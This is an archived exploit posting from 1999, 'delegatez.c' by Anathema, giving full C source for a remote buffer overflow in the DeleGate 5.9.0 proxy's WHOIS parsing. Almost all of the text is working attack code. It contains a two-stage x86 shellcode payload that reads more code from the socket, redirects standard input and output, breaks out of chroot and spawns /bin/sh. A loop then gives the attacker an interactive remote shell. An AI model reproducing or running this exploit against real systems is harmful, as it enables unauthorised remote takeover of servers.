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delegatez.c

delegatez.c
Posted Nov 16, 1999
Authored by Anathema

DeleGate 5.9.0 remote overflow.

tags | exploit, remote, overflow
SHA-256 | 30642c0d094ab7bf796632ec2992a7147c5d28d2f0a2c746c0c9cc62f2186936

delegatez.c

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/*
* DeleGate 5.9.0 remote overflow
*
* Notes about this exploit:
* - We can predict the sockfd in use with a reasonable degree of
* accuracy. In most cases, it's 12 (hence #define SOCKFD 0x0c).
* I've seen it as 13, though.
* - The ASM src to the shellcode is included in the comments. It's
* not overly optimized.
* - On lagged links, you may need to alter the DELAY #define.
*
* Credits:
* - The read() shellcode is derived from an idea posted to Bugtraq
* in 1998 (to do with exploiting mpg123). The author wrote:
* `As would a routine that reads X more bytes from the
* still open filedescriptor..`
* - Thanks to ABR for finding the overflow and writing the initial
* test (mkdir()'s an arbitrary directory) exploit.
*
* Any questions or comments (or criticisms), feel free to email me.
*
* anathema <anathema@box.co.uk>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define DELAY 2
#define ADDR 0xbfffe501
#define RETPOS 260
#define SHFD_OFFSET 5
#define RDFD_OFFSET 252
/*
* We can predict the socket descriptor in use with a reasonable
* degree of accuracy.
*/
#define SOCKFD 0x0c

/*
* The overflow occurs while parsing the WHOIS command.
*/
char prepend_str[] = "whois://";

/*
* Shellcode to read() 256 bytes from the socket descriptor
* referenced by the #define SOCKFD. We replace the 0xff byte
* from movb $0xff, %bl with the SOCKFD define value in main().
*/
char readcode[] =
/* main: */
"\xeb\x03" /* jmp callz */
/* start0: */
"\x5e" /* popl %esi */
"\xeb\x05" /* jmp start */
/* callz: */
"\xe8\xf8\xff\xff\xff" /* call start0 */
/* start: */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x80" /* movb $0x80, %al */
"\x29\xdb" /* subl %ebx, %ebx */
"\x43" /* incl %ebx */
"\x43" /* incl %ebx */
"\x8d\x4e\x10" /* leal 0x10(%esi), %ecx */
"\xf7\xeb" /* imul %ebx */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\xff" /* movb $SOCK_FD, %bl */
"\x92" /* xchgl %eax, %edx */
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x03" /* movb $0x03, %al */
"\xcd\x80"; /* int $0x80 */

/*
* The `real` shellcode. We must dup2() stdin, stdout and stderr
* to the socket descriptor, or else you will spawn an interactive
* shell at the controlling terminal ;)
*/
char c0de[] =
/* main: */
"\x29\xc0" /* subl %eax, %eax */
"\x29\xdb" /* subl %ebx, %ebx */
"\xb3\xff" /* movb $SOCK_FD, %bl */
"\xb0\x3f" /* movb $0x3f, %al */
"\x29\xc9" /* subl %ecx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
"\xeb\x66" /* jmp callz */

/* start: */
/*
* Now we must break chroot().
* We do this by creating a temporary directory with mkdir(), chroot()
* to that temporary directory, perform multiple chdir() calls to the
* parent directory and finally a chroot() to the current directory,
* which should be the real root directory.
*
* We use a straightforward loop to perform the multiple chdir() calls.
*/
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x8d\x5e\x0d" /* leal 0x0d(%esi), %ebx */
"\x88\x46\x04" /* movb %al, 0x04(%esi) */
"\x66\xb9\xff\x01" /* movw $0x1ff, %cx */
"\xb0\x27" /* movb $0x27, %al */
"\xcd\x80" /* int $0x80 */

"\x29\xc0" /* subl %eax, %eax */
"\x8d\x5e\x0d" /* leal 0x0d(%esi), %ebx */
"\xb0\x3d" /* movb $0x3d, %al */
"\xcd\x80" /* int $0x80 */

"\x29\xc0" /* subl %eax, %eax */
"\x29\xdb" /* subl %ebx, %ebx */
"\x29\xc9" /* subl %ecx, %ecx */
"\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */
"\x89\x43\x02" /* movl %eax, 0x02(%ebx) */
"\xb1\x14" /* movb $0x14, %cl */

/* chdir_loop: */
"\x29\xc0" /* subl %eax, %eax */
"\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */
"\xb0\x0c" /* movb $0x0c, %al */
"\xcd\x80" /* int $0x80 */
"\x49" /* decl %ecx */
"\x08\xc9" /* orb %cl, %cl */
"\x75\xf2" /* jnz chdir_loop */

"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x09" /* movb %al, 0x09(%esi) */
"\x8d\x5e\x08" /* leal 0x08(%esi), %ebx */
"\xb0\x3d" /* movb $0x3d, %al */
"\xcd\x80" /* int $0x80 */

/*
* We've broken chroot, now we can execve() /bin/sh. We've
* already dup2()'d stdin, stdout and stderr to the sockfd.
*/
"\x29\xc0" /* subl %eax, %eax */
"\xb0\x2e" /* movb $0x2e, %al */
"\x40" /* incl %eax */
"\x88\x46\x04" /* movb %al, 0x04(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x07" /* movb %al, 0x07(%esi) */
"\x89\x76\x08" /* movl %esi, 0x08(%esi) */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
"\xb0\x0b" /* movb $0x0b, %al */
"\xcd\x80" /* int $0x80 */

/* exit(). Not really necessary. */
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */

/* callz: */
"\xe8\x95\xff\xff\xff" /* call start */

"\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh for execve */
"\x31\x2e\x2e\x31\x31\x2e\x62\x69\x6e"; /* strings for mk/chdir(), chroot() */

u_long
resolve_host(u_char *host)
{
struct in_addr addr;
struct hostent *host_ent;

if ((addr.s_addr = inet_addr(host)) == -1)
{
host_ent = gethostbyname(host);
if (!host_ent) return((u_long)0);
memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
}

return(addr.s_addr);
}

void
connect_shell(int sock)
{
u_char sock_buf[8192] = {0};
fd_set fds;

write(sock, "\n\nuname -a; id;\n", 16);
for (;;)
{
FD_ZERO(&fds);
FD_SET(0, &fds); /* STDIN_FILENO */
FD_SET(sock, &fds);

if (select(0xff, &fds, NULL, NULL, NULL) == -1)
{
perror("select choked");
exit(-1);
}

memset(sock_buf, 0, sizeof(sock_buf));

if (FD_ISSET(sock, &fds))
{
if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
{
fprintf(stderr, "Connection closed by foreign host.\n");
exit(0);
}

fprintf(stderr, "%s", sock_buf);
}

if (FD_ISSET(0, &fds))
{
read(0, sock_buf, sizeof(sock_buf) - 1);
write(sock, sock_buf, strlen(sock_buf));
}
}

/* NOTREACHED */
}

int
create_socket(u_long dst_ip, u_short src_prt, u_short dst_prt)
{
struct sockaddr_in sin;
int sock;

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == -1)
{
perror("socket allocation");
exit(-1);
}

if (src_prt)
{
struct sockaddr_in min;
int one = 1, *o_ptr = &one;
/*
* A source port has been specified. Note that we should set
* SO_REUSEADDR on the socket so future exploit attempts
* utilising the same source port are possible.
*/
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr,
sizeof(one)) == -1)
{
perror("setsockopt SO_REUSEADDR");
exit(-1);
}

min.sin_family = AF_INET;
min.sin_port = htons(src_prt);
min.sin_addr.s_addr = INADDR_ANY;

if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
{
perror("bind");
exit(-1);
}
}

sin.sin_family = AF_INET;
sin.sin_port = htons(dst_prt);
sin.sin_addr.s_addr = dst_ip;

if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
{
perror("connecting to delegate server");
exit(-1);
}

return(sock);
}

void
usage(u_char *nomenclature)
{
fprintf(stderr, "\nusage:\t%s dst_host|ip [src_prt] dst_prt\n\n",
nomenclature);
exit(0);
}

int
main(int argc, char **argv)
{
u_char buf[4096] = {0};
u_long addr = ADDR;
u_long dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
int sock, ret = RETPOS;
int i = 0, j = 0;

fprintf(stderr, "\nDeleGate 5.9.0 remote overflow\n"
"anathema <anathema@box.co.uk>\n");

if (argc != 3 && argc != 4)
{
usage(argv[0]);
/* NOTREACHED */
}

dst_ip = resolve_host(argv[1]);
if (!dst_ip)
{
fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
exit(-1);
}

if (argc == 4)
{
src_prt = (u_short)atoi(argv[2]);
dst_prt = (u_short)atoi(argv[3]);
}
else
{
dst_prt = (u_short)atoi(argv[2]);
}

sock = create_socket(dst_ip, src_prt, dst_prt);

memset(buf, 0x90, ret - strlen(readcode));
memcpy(buf, prepend_str, strlen(prepend_str));
memcpy(buf + ret - strlen(readcode), readcode, strlen(readcode));

buf[ret++] = (addr & 0xff);
buf[ret++] = (addr >> 8) & 0xff;
buf[ret++] = (addr >> 16) & 0xff;
buf[ret++] = (addr >> 24) & 0xff;

buf[RDFD_OFFSET] = SOCKFD;
memcpy(buf + ret, "\r\n", 2);

if (write(sock, buf, strlen(buf)) != strlen(buf))
{
fprintf(stderr, "err: truncated write() (0x01)\n");
exit(-1);
}

memset(buf, 0, sizeof(buf));

c0de[SHFD_OFFSET] = SOCKFD;
memset(buf, 0x90, 0x0f);
memcpy(buf + 0x0f, c0de, strlen(c0de));
memcpy(buf + 0x0f + strlen(c0de), "\0\r\n", 3);

if (write(sock, buf, strlen(buf)) != strlen(buf))
{
fprintf(stderr, "err: truncated write() (0x02)\n");
exit(-1);
}

fprintf(stderr, "\nIt'z time to w8\n\n");

sleep(DELAY);
connect_shell(sock);
}

/* EOF */
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